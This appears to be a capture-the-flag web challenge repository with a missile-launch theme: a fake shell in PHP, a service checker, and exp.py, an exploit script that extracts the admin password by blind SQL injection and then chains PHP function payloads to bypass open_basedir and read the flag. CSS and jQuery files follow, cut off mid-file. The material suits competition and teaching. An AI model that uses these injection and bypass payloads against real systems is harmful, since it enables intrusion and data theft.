complete." 108 | return True 109 | 110 | 111 | # check totp.min.js 112 | def check3(url): 113 | try: 114 | url = url + '/js/totp.min.js' 115 | res = get(0, url) 116 | passed = 1 117 | if 'SHA-1' not in res: passed = 0 118 | if 'genOTP' not in res: passed = 0 119 | if ']:5' not in res: passed = 0 120 | if 'BYTES' not in res: passed = 0 121 | if 'TEXT' not in res: passed = 0 122 | if 'HOTP' not in res: passed = 0 123 | if 'TOTP' not in res: passed = 0 124 | if not passed: 125 | raise Exception 126 | except Exception as e: 127 | raise Exception, "Check3 error, totp.min.js is not complete." 128 | return True 129 | 130 | 131 | # check common commands 132 | def check4(url): 133 | try: 134 | res = send(0, url, 'ls') 135 | passed = 1 136 | if 'missiles' not in res: passed = 0 137 | if 'modules' not in res: passed = 0 138 | if 'usage.md' not in res: passed = 0 139 | if not passed: 140 | raise Exception, "`ls` not work" 141 | res = send(0, url, 'cat', {'filename':'usage.md'}) 142 | if 'Nuclear' not in res: raise Exception, "`cat` not work." 143 | res = send(0, url, 'logout') 144 | if 'logout' not in res: raise Exception, "`logout` not work." 145 | res = send(0, url, 'sh0w_hiiintttt_23333') 146 | if 'eval' not in res: raise Exception, "`hint` not work." 147 | res = send(0, url, 'getflag') 148 | if 'flag{' not in res: raise Exception, "`getflag` not work." 149 | except Exception as e: 150 | raise Exception, "Check4 error, %s" % e 151 | return True 152 | 153 | 154 | # check login 155 | def check5(url): 156 | try: 157 | username = 'admin' 158 | try: 159 | password = b64decode(preset_password) 160 | except: 161 | password = '' 162 | command = 'login %s %s' % (username, password) 163 | res = send(1, url, command) 164 | if 'succ' not in res: 165 | raise Exception 166 | except Exception as e: 167 | raise Exception, "Check5 error, login failed." 168 | return True 169 | 170 | 171 | # check destruct 172 | def check6(url): 173 | try: 174 | res = send(1, url, 'destruct') 175 | if 'destructed' not in res: 176 | raise Exception 177 | except Exception as e: 178 | raise Exception, "Check6 error, destruct failed." 179 | return True 180 | 181 | 182 | # check targeting and launch 183 | def check7(url): 184 | try: 185 | rands = [] 186 | for i in range(5): 187 | rands.append(os.urandom(4).encode('hex')) 188 | res = send(1, url, 'targeting z%d %s' % (i, rands[-1])) 189 | if 'marked' not in res: raise Exception, "targeting failed." 190 | res = send(1, url, 'launch') 191 | for i in range(5): 192 | if res.count(rands[i]) < 2: raise Exception, "launch failed." 193 | except Exception as e: 194 | raise Exception, "Check7 error, %s" % e 195 | return True 196 | 197 | 198 | # checker 199 | def checker(host, port): 200 | try: 201 | url = "http://" + ip + ":" + str(port) 202 | if check1(url) and check2(url) and check3(url) and check4(url) and check5(url) and check6(url) and check7(url): 203 | return "IP: " + host + " OK" 204 | except Exception as e: 205 | return "IP: " + host + " is down.\n" + str(e) 206 | 207 | 208 | if __name__ == '__main__': 209 | if len(argv) != 3: 210 | print("wrong params.") 211 | print("example: python %s %s %s" % (argv[0], '127.0.0.1', '80')) 212 | exit() 213 | ip = argv[1] 214 | port = int(argv[2]) 215 | print(checker(ip, port)) 216 | -------------------------------------------------------------------------------- /source/shell.php: -------------------------------------------------------------------------------- 1 | 404,"message"=>"totp err, server timestamp:".microtime(true)); 30 | die(json_encode($res)); 31 | } 32 | 33 | switch($act){ 34 | case 'ls': 35 | $handler = opendir($sandbox); 36 | if ($handler){ 37 | while (($filename = readdir($handler)) !== false) { 38 | if ($filename != "." && $filename != "..") { 39 | $files[] = $filename; 40 | } 41 | } 42 | closedir($handler); 43 | $res=array("code"=>0,"data"=>$files); 44 | }else{ 45 | $res=array("code"=>404,"message"=>"Access Denied"); 46 | } 47 | break; 48 | case 'cat': 49 | $file_name = $_POST['filename']; 50 | $file_name = (string) $file_name; 51 | $tmp_name = str_replace('\\','',$file_name); 52 | $tmp_name = str_replace('/','',$tmp_name); 53 | if ($_POST['filename']==='/flag'){ 54 | $res=array("code"=>404,"message"=>""); 55 | break; 56 | }else if (stripos($tmp_name,'..')===FALSE&&stripos($tmp_name,'secret')===FALSE){ 57 | if (file_exists($sandbox.$file_name)){ 58 | $data=htmlspecialchars(file_get_contents($sandbox.$tmp_name)); 59 | if ($data){ 60 | $res=array("code"=>0,"data"=>$data); 61 | }else{ 62 | $res=array("code"=>404,"message"=>"cat: ".$file_name.": No such file or directory"); 63 | } 64 | break; 65 | } 66 | } 67 | $res=array("code"=>404,"message"=>"cat: ".$file_name.": No such file or directory"); 68 | break; 69 | case 'cd': 70 | $res=array("code"=>404,"message"=>"something broken~"); 71 | break; 72 | case 'list': 73 | $res=array("code"=>404,"data"=>NULL); 74 | break; 75 | case 'launch': 76 | if (isset($_SESSION['login'])){ 77 | include($sandbox.'modules/launch.php'); 78 | $res=array("code"=>0,"message"=>$res); 79 | }else{ 80 | $res=array("code"=>404,"message"=>'login first.'); 81 | } 82 | break; 83 | case 'destruct': 84 | if (isset($_SESSION['login'])){ 85 | include($sandbox.'modules/destruct.php'); 86 | $res=array("code"=>0,"message"=>"missiles destructed."); 87 | }else{ 88 | $res=array("code"=>404,"message"=>'login first.'); 89 | } 90 | break; 91 | case 'logout': 92 | session_destroy(); 93 | $res=array("code"=>0,"message"=>"logout."); 94 | break; 95 | case 'flag': 96 | $res=array("code"=>0,"message"=>""); 97 | break; 98 | case 'getflag': 99 | $res=array("code"=>0,"message"=>"flag{congratulations!}"); 100 | break; 101 | case 'sh0w_hiiintttt_23333': 102 | $res=array("code"=>0,"message"=>"we add an evil monster named 'eval' when launching missiles."); 103 | break; 104 | case 'usage': 105 | $res=array("code"=>0,"message"=>"use `cat usage.md` instead."); 106 | break; 107 | case 'uname': 108 | $res=array("code"=>0,"message"=>"Darwin
"); 109 | break; 110 | case 'uname -a': 111 | $res=array("code"=>0,"message"=>"Darwin ciscn-mbp 17.7.0 Darwin Kernel Version 17.7.0; root:xnu-4570.71.22~1/RELEASE_X86_64 x86_64
"); 112 | break; 113 | case 'uname -r': 114 | $res=array("code"=>0,"message"=>"17.7.0
"); 115 | break; 116 | case 'hostname': 117 | $res=array("code"=>0,"message"=>"ciscn-mbp
"); 118 | break; 119 | default: 120 | $coms=explode(' ', $act); 121 | switch ($coms[0]) { 122 | case 'login': 123 | $username=$coms[1]; 124 | $password=$coms[2]; 125 | if (strlen($username)>0 && strlen($password)>0){ 126 | include($sandbox.'modules/login.php'); 127 | $res=array("code"=>0,"message"=>$res); 128 | }else{ 129 | $res=array("code"=>404,"message"=>'usage: login [username] [password]
'); 130 | } 131 | break; 132 | case 'targeting': 133 | if (isset($_SESSION['login'])){ 134 | $code=$coms[1]; 135 | $position=$coms[2]; 136 | if (strlen($coms[1])>0 || strlen($coms[2])>0){ 137 | include($sandbox.'modules/targeting.php'); 138 | $res=array("code"=>0,"message"=>$res); 139 | }else{ 140 | $res=array("code"=>404,"message"=>'usage: targeting [code] [position]
'); 141 | } 142 | }else{ 143 | $res=array("code"=>404,"message"=>'login first.'); 144 | } 145 | break; 146 | case 'echo': 147 | $str=$coms[1]; 148 | $res=array("code"=>0,"message"=>$str."
"); 149 | break; 150 | case 'export': 151 | $res=array("code"=>0,"message"=>$act."
"); 152 | break; 153 | case 'ping': 154 | case 'curl': 155 | case 'wget': 156 | $res=array("code"=>0,"message"=>$coms[0].": Network is unreachable.
"); 157 | break; 158 | case 'ip': 159 | case 'ifconfig': 160 | $res=array("code"=>0,"message"=>$coms[0].": No network adapters.
"); 161 | break; 162 | case 'python': 163 | case 'python2': 164 | case 'python3': 165 | case 'pip': 166 | case 'pip2': 167 | case 'pip3': 168 | case 'php': 169 | case 'php5': 170 | case 'php7': 171 | case 'nodejs': 172 | case 'node': 173 | case 'npm': 174 | case 'perl': 175 | case 'gcc': 176 | case 'g++': 177 | case 'bash': 178 | case 'sh': 179 | case 'go': 180 | case 'gem': 181 | case 'ruby': 182 | case 'java': 183 | case 'javac': 184 | case '': 185 | $res=array("code"=>0,"message"=>$coms[0].": DISABLED BY CISCN.
"); 186 | break; 187 | default: 188 | break; 189 | } 190 | if (isset($res)) break; 191 | $res=array("code"=>404,"message"=>"zsh: command not found: ".$act."
"); 192 | break; 193 | } 194 | die(json_encode($res)); 195 | ?> -------------------------------------------------------------------------------- /exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | #coding:utf-8 3 | 4 | from sys import * 5 | from base64 import * 6 | import requests 7 | import urllib 8 | import string 9 | import time 10 | import pyotp 11 | 12 | timeout = 1.0 13 | retry_count = 5 14 | logging = 1 15 | 16 | url = '' 17 | shell_url = '/shell.php?a=%s&totp=%s' 18 | totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5) 19 | preset_password = 'ZmxhZ3toaTMzZW5fQzBtbTNuZC1zaDB3X2hpaWludHR0dF8yMzMzM30=' 20 | preset_length = 41 21 | s = requests.session() 22 | 23 | 24 | # get method 25 | def get(session, url): 26 | retry = 0 27 | while True: 28 | retry += 1 29 | try: 30 | if session: 31 | r = s.get(url, timeout=timeout) 32 | else: 33 | r = requests.get(url, timeout=timeout) 34 | except: 35 | if retry >= retry_count: 36 | return '' 37 | continue 38 | break 39 | return r.text 40 | 41 | 42 | # post method 43 | def post(session, url, data): 44 | retry = 0 45 | while True: 46 | retry += 1 47 | try: 48 | if session: 49 | r = s.post(url, data=data, timeout=timeout) 50 | else: 51 | r = requests.post(url, data=data, timeout=timeout) 52 | except: 53 | if retry >= retry_count: 54 | return '' 55 | continue 56 | break 57 | return r.text 58 | 59 | 60 | # fuzz admin's password length 61 | def fuzz1(): 62 | length = 0 63 | left = 0x0 64 | right = 0xff 65 | while True: 66 | mid = int((right - left) / 2 + left) 67 | if mid == left: 68 | length = mid 69 | break 70 | username = "a'/**/union/**/select/**/'b'/**/from/**/users/**/where/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid 71 | password = "b" 72 | payload = 'login %s %s' % (username, password) 73 | payload = urllib.quote(payload) 74 | payload = url % (payload, totp.now()) 75 | res = get(0, payload) 76 | if res == '': 77 | print('timeout or http 500') 78 | exit() 79 | if logging: print(mid, res) 80 | if 'only' in res: 81 | left = mid 82 | else: 83 | right = mid 84 | if logging: print(length) 85 | return length 86 | 87 | 88 | # fuzz admin's password value 89 | def fuzz2(length): 90 | real_password = '' 91 | for i in range(1, length+1): 92 | left = 0x20 93 | right = 0x7e 94 | while True: 95 | mid = int((right - left) / 2 + left) 96 | if mid == left: 97 | real_password += chr(mid) 98 | break 99 | username = "a'/**/union/**/select/**/'b'/**/from/**/users/**/where/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid) 100 | password = "b" 101 | payload = 'login %s %s' % (username, password) 102 | payload = urllib.quote(payload) 103 | payload = url % (payload, totp.now()) 104 | res = get(0, payload) 105 | if res == '': 106 | print('timeout or http 500') 107 | exit() 108 | if logging: print(i, chr(mid), res) 109 | if 'only' in res: 110 | left = mid 111 | else: 112 | right = mid 113 | if logging: print(real_password) 114 | if len(real_password) < i: 115 | if logging: print('No.%d char not in range' % i) 116 | return real_password 117 | 118 | 119 | # login with password 120 | def login(password): 121 | username = 'admin' 122 | payload = 'login %s %s' % (username, password) 123 | if logging: print(payload) 124 | payload = urllib.quote(payload) 125 | payload = url % (payload, totp.now()) 126 | res = get(1, payload) 127 | if res == '': 128 | print('timeout or http 500') 129 | exit() 130 | if logging: print(res) 131 | if 'succ' not in res: 132 | return False 133 | return True 134 | 135 | 136 | # destruct (admin) 137 | def destruct(): 138 | payload = 'destruct' 139 | if logging: print(payload) 140 | payload = urllib.quote(payload) 141 | payload = url % (payload, totp.now()) 142 | res = get(1, payload) 143 | if res == '': 144 | print('timeout or http 500') 145 | exit() 146 | if logging: print(res) 147 | 148 | 149 | # targeting (admin) 150 | def targeting(code, position): 151 | payload = 'targeting %s %s' % (code, position) 152 | if logging: print(payload) 153 | payload = urllib.quote(payload) 154 | payload = url % (payload, totp.now()) 155 | res = get(1, payload) 156 | if res == '': 157 | print('timeout or http 500') 158 | exit() 159 | if 'mark' not in res: 160 | return False 161 | return True 162 | 163 | 164 | # launch (admin) 165 | def launch(): 166 | payload = 'launch' 167 | if logging: print(payload) 168 | payload = urllib.quote(payload) 169 | payload = url % (payload, totp.now()) 170 | res = get(1, payload) 171 | if res == '': 172 | print('timeout or http 500') 173 | exit() 174 | return res 175 | 176 | 177 | # getflag 178 | def getflag(): 179 | vuln1 = 0 180 | vuln2 = 0 181 | logined = 0 182 | try: 183 | password = b64decode(preset_password) 184 | except: 185 | password = '' 186 | if not logined: 187 | if login(password): 188 | logined = 1 189 | else: 190 | password = fuzz2(preset_length) 191 | if not logined: 192 | if login(password): 193 | logined = 1 194 | else: 195 | length = fuzz1() 196 | password = fuzz2(length) 197 | if not logined: 198 | if not login(password): 199 | return 'Vuln 1 check: fail.\nVuln 2 check: unknown.' 200 | command = "login a'/**/union/**/select/**/3/**/# 3" 201 | command = urllib.quote(command) 202 | payload = url % (command, totp.now()) 203 | res = get(0, payload) 204 | if 'only' in res: 205 | vuln1 = 1 206 | destruct() 207 | targeting('a','chr') 208 | targeting('b','{$a(46)}') 209 | targeting('c','{$b}{$b}') 210 | targeting('d','{$a(47)}') 211 | targeting('e','js') 212 | targeting('f','open_basedir') 213 | targeting('g','chdir') 214 | targeting('h','ini_set') 215 | targeting('i','file_get_') 216 | targeting('j','{$i}contents') 217 | targeting('k','{$g($e)}') 218 | targeting('l','{$h($f,$c)}') 219 | targeting('m','{$g($c)}') 220 | targeting('n','{$h($f,$d)}') 221 | targeting('o','{$d}flag') 222 | targeting('p','{$j($o)}') 223 | targeting('q','printf') 224 | targeting('r','{$q($p)}') 225 | data = launch() 226 | destruct() 227 | if '\/flag' in data: 228 | vuln2 = 1 229 | result = '' 230 | if vuln1: 231 | result += 'Vuln 1 check: pass.\n' 232 | else: 233 | result += 'Vuln 1 check: fail.\n' 234 | if vuln2: 235 | result += 'Vuln 2 check: pass.\n' 236 | else: 237 | result += 'Vuln 2 check: fail.\n' 238 | try: 239 | flag = data.split('\n')[0] 240 | if 'flag{' in flag: 241 | return result+flag 242 | except: 243 | pass 244 | return 'Server Response:\n%s\n\n%s' % (data, result[:-1]) 245 | 246 | 247 | if __name__ == '__main__': 248 | if len(argv) != 3: 249 | print("wrong params.") 250 | print("example: python %s %s %s" % (argv[0], '127.0.0.1', '80')) 251 | exit() 252 | ip = argv[1] 253 | port = int(argv[2]) 254 | url = 'http://%s:%d' % (ip, port) + shell_url 255 | print(getflag()) 256 | -------------------------------------------------------------------------------- /source/css/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | -webkit-box-sizing: border-box; 3 | -moz-box-sizing: border-box; 4 | box-sizing: border-box; 5 | } 6 | 7 | body { 8 | margin: 0; 9 | background: #282828; 10 | color: #eee; 11 | font-family: 'Helvetica Neue', Arial, 'Liberation Sans', FreeSans, sans-serif; 12 | font-size: 14px; 13 | } 14 | 15 | h1, h2, h3, h4, h5, h6 { 16 | margin: 10px 0; 17 | font-weight: 200; 18 | } 19 | 20 | h2 { 21 | font-size: 1.8em; 22 | font-weight: 200; 23 | color: #888; 24 | letter-spacing: 1px; 25 | } 26 | 27 | section { 28 | margin-bottom: 20px; 29 | } 30 | 31 | p { 32 | margin: 0; 33 | line-height: 1.5; 34 | font-weight: 200; 35 | } 36 | 37 | a { 38 | color: #00aaee; 39 | text-decoration: none; 40 | } 41 | 42 | a:hover { 43 | color: #0077a2; 44 | text-decoration: underline; 45 | } 46 | 47 | .hide { 48 | display: none; 49 | } 50 | 51 | .decal { 52 | height: 2px; 53 | background-color: #000; 54 | border-bottom: 1px solid #333; 55 | } 56 | 57 | .container { 58 | max-width: 940px; 59 | margin-right: auto; 60 | margin-left: auto; 61 | } 62 | 63 | /* EFFECTS 64 | ***************/ 65 | 66 | .glow { 67 | text-shadow: 0 0 0 rgba(0, 0, 0, 0); 68 | -webkit-transition: text-shadow 1s linear; 69 | -moz-transition: text-shadow 1s linear; 70 | -o-transition: text-shadow 1s linear; 71 | transition: text-shadow 1s linear; 72 | } 73 | 74 | .glow.in { 75 | text-shadow: 76 | 0.025em 0.025em 0.025em rgba(0, 0, 0, 0.8), 77 | 0 0 0.5em rgba(255, 255, 255, 0.3); 78 | } 79 | 80 | .fade { 81 | opacity: 0; 82 | -webkit-transition: opacity 1s linear; 83 | -moz-transition: opacity 1s linear; 84 | -o-transition: opacity 1s linear; 85 | transition: opacity 1s linear; 86 | } 87 | 88 | .fade.in { 89 | opacity: 1; 90 | } 91 | 92 | /* BUTTONS 93 | ***************/ 94 | 95 | .btn { 96 | color: #fff; 97 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 98 | display: inline-block; 99 | text-decoration: none; 100 | font-weight: 200; 101 | text-align: center; 102 | vertical-align: middle; 103 | cursor: pointer; 104 | border-radius: 0.5em; 105 | padding: 0.8em 1.2em; 106 | background-color: #ED303C; 107 | background-image: -moz-linear-gradient(top, #ED303C, #8D121A); 108 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ED303C), to(#8D121A)); 109 | background-image: -webkit-linear-gradient(top, #ED303C, #8D121A); 110 | background-image: -o-linear-gradient(top, #ED303C, #8D121A); 111 | background-image: linear-gradient(to bottom, #ED303C, #8D121A); 112 | background-repeat: repeat-x; 113 | -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 5px rgba(0,0,0,.25); 114 | -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 5px rgba(0,0,0,.25); 115 | box-shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 5px rgba(0,0,0,.25); 116 | } 117 | 118 | .btn:hover, 119 | .btn-primary:active, 120 | .btn-primary.active, 121 | .btn-primary.disabled, 122 | .btn-primary[disabled] { 123 | text-decoration: none; 124 | color: #ddd; 125 | background-color: #8D121A; 126 | background-position: 0 -15px; 127 | -webkit-transition: background-position 0.1s linear; 128 | -moz-transition: background-position 0.1s linear; 129 | -o-transition: background-position 0.1s linear; 130 | transition: background-position 0.1s linear; 131 | } 132 | 133 | .btn.active, 134 | .btn:active { 135 | background-image: none; 136 | outline: 0; 137 | -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); 138 | -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); 139 | box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); 140 | } 141 | 142 | /* MARKETING 143 | ***************/ 144 | 145 | .jumbotron { 146 | position: relative; 147 | padding: 3em 0; 148 | text-align: center; 149 | background: #242424; 150 | } 151 | 152 | .jumbotron h1 { 153 | color: #fff; 154 | font-family: Rokkitt; 155 | font-size: 13em; 156 | font-weight: 200; 157 | text-shadow: 0.025em 0.025em 0.025em rgba(0, 0, 0, 0.8); 158 | visibility: hidden; 159 | } 160 | 161 | .jumbotron h1 .char11 { 162 | color: #ED303C; 163 | } 164 | 165 | .jumbotron p { 166 | margin-top: -1em; 167 | letter-spacing: 0.15em; 168 | color: #ccc; 169 | font-size: 1.25em; 170 | font-weight: 200; 171 | text-shadow: 0.1em 0.1em 0.1em rgba(0, 0, 0, 0.8); 172 | visibility: hidden; 173 | text-align: center; 174 | } 175 | 176 | .jumbotron .btn { 177 | margin-top: 2em; 178 | margin-bottom: 2em; 179 | font-size: 1.6em; 180 | } 181 | 182 | .about { 183 | margin-top: 1em; 184 | } 185 | 186 | .about p { 187 | font-size: 1.2em; 188 | } 189 | 190 | .playground { 191 | background: #242424; 192 | border-radius: 4px; 193 | border: 1px solid #333; 194 | margin-bottom: 10px; 195 | } 196 | 197 | .playground .controls { 198 | margin-bottom: 0; 199 | background: #282828; 200 | border-radius: 0 0 4px 4px; 201 | border: 1px solid #0c0c0c; 202 | border-top: 1px solid #333; 203 | } 204 | 205 | .playground .controls form { 206 | margin-bottom: 0; 207 | padding-bottom: 8px; 208 | } 209 | 210 | .playground .controls select { 211 | width: 48%; 212 | margin-right: 4px; 213 | } 214 | 215 | @media (max-width: 480px) { 216 | .playground .controls select { 217 | width: 100%; 218 | margin-right: 0; 219 | } 220 | } 221 | 222 | .playground .viewport { 223 | display: table; 224 | min-height: 10em; 225 | padding: 20px; 226 | border-radius: 4px 4px 0 0; 227 | border: 1px solid #0c0c0c; 228 | overflow: hidden; 229 | -webkit-box-shadow: inset 0px 0px 2px rgba(0, 0, 0, 0.5); 230 | -moz-box-shadow: inset 0px 0px 2px rgba(0, 0, 0, 0.5); 231 | box-shadow: inset 0px 0px 2px rgba(0, 0, 0, 0.5); 232 | } 233 | 234 | .playground .viewport .tlt { 235 | color: #fff; 236 | font-size: 1.5em; 237 | font-weight: 200; 238 | letter-spacing: 1px; 239 | padding: 20px 0; 240 | display: inline-block; 241 | vertical-align: middle; 242 | display: table-cell; 243 | text-align: center; 244 | /*visibility: hidden;*/ 245 | } 246 | 247 | .deps { 248 | font-size: 1.2em; 249 | } 250 | 251 | .deps ul { 252 | list-style-type: square; 253 | margin: 0; 254 | } 255 | 256 | .deps ul li { 257 | line-height: 1.5em 258 | font-weight: 200; 259 | } 260 | 261 | /* GRID 262 | ***************/ 263 | 264 | .grid:after { 265 | content: ""; 266 | display: table; 267 | clear: both; 268 | } 269 | 270 | [class*='col-'] { 271 | float: left; 272 | padding-right: 20px; 273 | } 274 | .grid [class*='col-']:last-of-type { 275 | padding-right: 0; 276 | } 277 | 278 | .col-1-1 { 279 | width: 100%; 280 | } 281 | 282 | .col-2-3 { 283 | width: 66.66%; 284 | } 285 | 286 | .col-1-3 { 287 | width: 33.33%; 288 | } 289 | 290 | .col-1-2 { 291 | width: 50%; 292 | } 293 | 294 | .col-1-4 { 295 | width: 25%; 296 | } 297 | 298 | .col-3-4 { 299 | width: 75%; 300 | } 301 | 302 | .col-4-5 { 303 | width: 80%; 304 | } 305 | 306 | .col-1-6 { 307 | width: 16.66%; 308 | } 309 | 310 | .col-1-8 { 311 | width: 12.5%; 312 | } 313 | 314 | .grid-pad { 315 | padding-left: 20px 316 | } 317 | 318 | .grid-pad [class*='col-'] { 319 | padding-top: 20px; 320 | padding-top: 20px; 321 | } 322 | 323 | .grid-pad [class*='col-']:last-of-type { 324 | padding-right: 20px; 325 | } 326 | 327 | @media (max-width: 767px) { 328 | [class*='col-'] { 329 | width: 100%; 330 | } 331 | } 332 | 333 | /* FORM 334 | *********/ 335 | 336 | form .control { 337 | margin-bottom: 5px; 338 | } 339 | 340 | select, 341 | input[type="text"] { 342 | width: 100%; 343 | display: inline-block; 344 | height: 30px; 345 | padding: 4px 6px; 346 | margin-bottom: 10px; 347 | font-size: 14px; 348 | line-height: 20px; 349 | color: #555555; 350 | vertical-align: middle; 351 | -webkit-border-radius: 4px; 352 | -moz-border-radius: 4px; 353 | border-radius: 4px; 354 | } 355 | 356 | input[type="text"] { 357 | background-color: #ddd; 358 | border: 1px solid #ccc; 359 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 360 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 361 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 362 | -webkit-transition: border linear 0.2s, box-shadow linear 0.2s; 363 | -moz-transition: border linear 0.2s, box-shadow linear 0.2s; 364 | -o-transition: border linear 0.2s, box-shadow linear 0.2s; 365 | transition: border linear 0.2s, box-shadow linear 0.2s; 366 | } 367 | 368 | input[type="text"]:focus { 369 | background-color: #fff; 370 | border-color: #8D121A; 371 | outline: 0; 372 | -webkit-box-shadow: inset 0 1px 1px #8D121A, 0 0 8px #ED303C; 373 | -moz-box-shadow: inset 0 1px 1px #8D121A, 0 0 8px #ED303C; 374 | box-shadow: inset 0 1px 1px #8D121A, 0 0 8px #ED303C; 375 | } 376 | 377 | label { 378 | display: block; 379 | margin-bottom: 5px; 380 | } 381 | 382 | label.inline { 383 | display: inline-block; 384 | } 385 | 386 | label.checkbox { 387 | padding: 4px 0; 388 | margin-right: 10px; 389 | white-space: nowrap; 390 | vertical-align: top; 391 | } 392 | 393 | /* CODE 394 | **************/ 395 | 396 | pre code { 397 | background: transparent; 398 | } -------------------------------------------------------------------------------- /source/js/jquery.textillate.js: -------------------------------------------------------------------------------- 1 | /* 2 | * textillate.js 3 | * http://jschr.github.com/textillate 4 | * MIT licensed 5 | * 6 | * Copyright (C) 2012-2013 Jordan Schroter 7 | */ 8 | 9 | (function ($) { 10 | "use strict"; 11 | 12 | function isInEffect (effect) { 13 | return /In/.test(effect) || $.inArray(effect, $.fn.textillate.defaults.inEffects) >= 0; 14 | }; 15 | 16 | function isOutEffect (effect) { 17 | return /Out/.test(effect) || $.inArray(effect, $.fn.textillate.defaults.outEffects) >= 0; 18 | }; 19 | 20 | 21 | function stringToBoolean(str) { 22 | if (str !== "true" && str !== "false") return str; 23 | return (str === "true"); 24 | }; 25 | 26 | // custom get data api method 27 | function getData (node) { 28 | var attrs = node.attributes || [] 29 | , data = {}; 30 | 31 | if (!attrs.length) return data; 32 | 33 | $.each(attrs, function (i, attr) { 34 | var nodeName = attr.nodeName.replace(/delayscale/, 'delayScale'); 35 | if (/^data-in-*/.test(nodeName)) { 36 | data.in = data.in || {}; 37 | data.in[nodeName.replace(/data-in-/, '')] = stringToBoolean(attr.nodeValue); 38 | } else if (/^data-out-*/.test(nodeName)) { 39 | data.out = data.out || {}; 40 | data.out[nodeName.replace(/data-out-/, '')] =stringToBoolean(attr.nodeValue); 41 | } else if (/^data-*/.test(nodeName)) { 42 | data[nodeName.replace(/data-/, '')] = stringToBoolean(attr.nodeValue); 43 | } 44 | }) 45 | 46 | return data; 47 | } 48 | 49 | function shuffle (o) { 50 | for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); 51 | return o; 52 | } 53 | 54 | function animate ($t, effect, cb) { 55 | $t.addClass('animated ' + effect) 56 | .css('visibility', 'visible') 57 | .show(); 58 | 59 | $t.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () { 60 | $t.removeClass('animated ' + effect); 61 | cb && cb(); 62 | }); 63 | } 64 | 65 | function animateTokens ($tokens, options, cb) { 66 | var that = this 67 | , count = $tokens.length; 68 | 69 | if (!count) { 70 | cb && cb(); 71 | return; 72 | } 73 | 74 | if (options.shuffle) $tokens = shuffle($tokens); 75 | if (options.reverse) $tokens = $tokens.toArray().reverse(); 76 | 77 | $.each($tokens, function (i, t) { 78 | var $token = $(t); 79 | 80 | function complete () { 81 | if (isInEffect(options.effect)) { 82 | $token.css('visibility', 'visible'); 83 | } else if (isOutEffect(options.effect)) { 84 | $token.css('visibility', 'hidden'); 85 | } 86 | count -= 1; 87 | if (!count && cb) cb(); 88 | } 89 | 90 | var delay = options.sync ? options.delay : options.delay * i * options.delayScale; 91 | 92 | $token.text() ? 93 | setTimeout(function () { animate($token, options.effect, complete) }, delay) : 94 | complete(); 95 | }); 96 | }; 97 | 98 | var Textillate = function (element, options) { 99 | var base = this 100 | , $element = $(element); 101 | 102 | base.init = function () { 103 | base.$texts = $element.find(options.selector); 104 | 105 | if (!base.$texts.length) { 106 | base.$texts = $('
  • ' + $element.html() + '
'); 107 | $element.html(base.$texts); 108 | } 109 | 110 | base.$texts.hide(); 111 | 112 | base.$current = $('') 113 | .html(base.$texts.find(':first-child').html()) 114 | .prependTo($element); 115 | 116 | if (isInEffect(options.in.effect)) { 117 | base.$current.css('visibility', 'hidden'); 118 | } else if (isOutEffect(options.out.effect)) { 119 | base.$current.css('visibility', 'visible'); 120 | } 121 | 122 | base.setOptions(options); 123 | 124 | base.timeoutRun = null; 125 | 126 | setTimeout(function () { 127 | base.options.autoStart && base.start(); 128 | }, base.options.initialDelay) 129 | }; 130 | 131 | base.setOptions = function (options) { 132 | base.options = options; 133 | }; 134 | 135 | base.triggerEvent = function (name) { 136 | var e = $.Event(name + '.tlt'); 137 | $element.trigger(e, base); 138 | return e; 139 | }; 140 | 141 | base.in = function (index, cb) { 142 | index = index || 0; 143 | 144 | var $elem = base.$texts.find(':nth-child(' + ((index||0) + 1) + ')') 145 | , options = $.extend(true, {}, base.options, $elem.length ? getData($elem[0]) : {}) 146 | , $tokens; 147 | 148 | $elem.addClass('current'); 149 | 150 | base.triggerEvent('inAnimationBegin'); 151 | $element.attr('data-active', $elem.data('id')); 152 | 153 | base.$current 154 | .html($elem.html()) 155 | .lettering('words'); 156 | 157 | // split words to individual characters if token type is set to 'char' 158 | if (base.options.type == "char") { 159 | base.$current.find('[class^="word"]') 160 | .css({ 161 | 'display': 'inline-block', 162 | // fix for poor ios performance 163 | '-webkit-transform': 'translate3d(0,0,0)', 164 | '-moz-transform': 'translate3d(0,0,0)', 165 | '-o-transform': 'translate3d(0,0,0)', 166 | 'transform': 'translate3d(0,0,0)' 167 | }) 168 | .each(function () { $(this).lettering() }); 169 | } 170 | 171 | $tokens = base.$current 172 | .find('[class^="' + base.options.type + '"]') 173 | .css('display', 'inline-block'); 174 | 175 | if (isInEffect(options.in.effect)) { 176 | $tokens.css('visibility', 'hidden'); 177 | } else if (isOutEffect(options.in.effect)) { 178 | $tokens.css('visibility', 'visible'); 179 | } 180 | 181 | base.currentIndex = index; 182 | 183 | animateTokens($tokens, options.in, function () { 184 | base.triggerEvent('inAnimationEnd'); 185 | if (options.in.callback) options.in.callback(); 186 | if (cb) cb(base); 187 | }); 188 | }; 189 | 190 | base.out = function (cb) { 191 | var $elem = base.$texts.find(':nth-child(' + ((base.currentIndex||0) + 1) + ')') 192 | , $tokens = base.$current.find('[class^="' + base.options.type + '"]') 193 | , options = $.extend(true, {}, base.options, $elem.length ? getData($elem[0]) : {}) 194 | 195 | 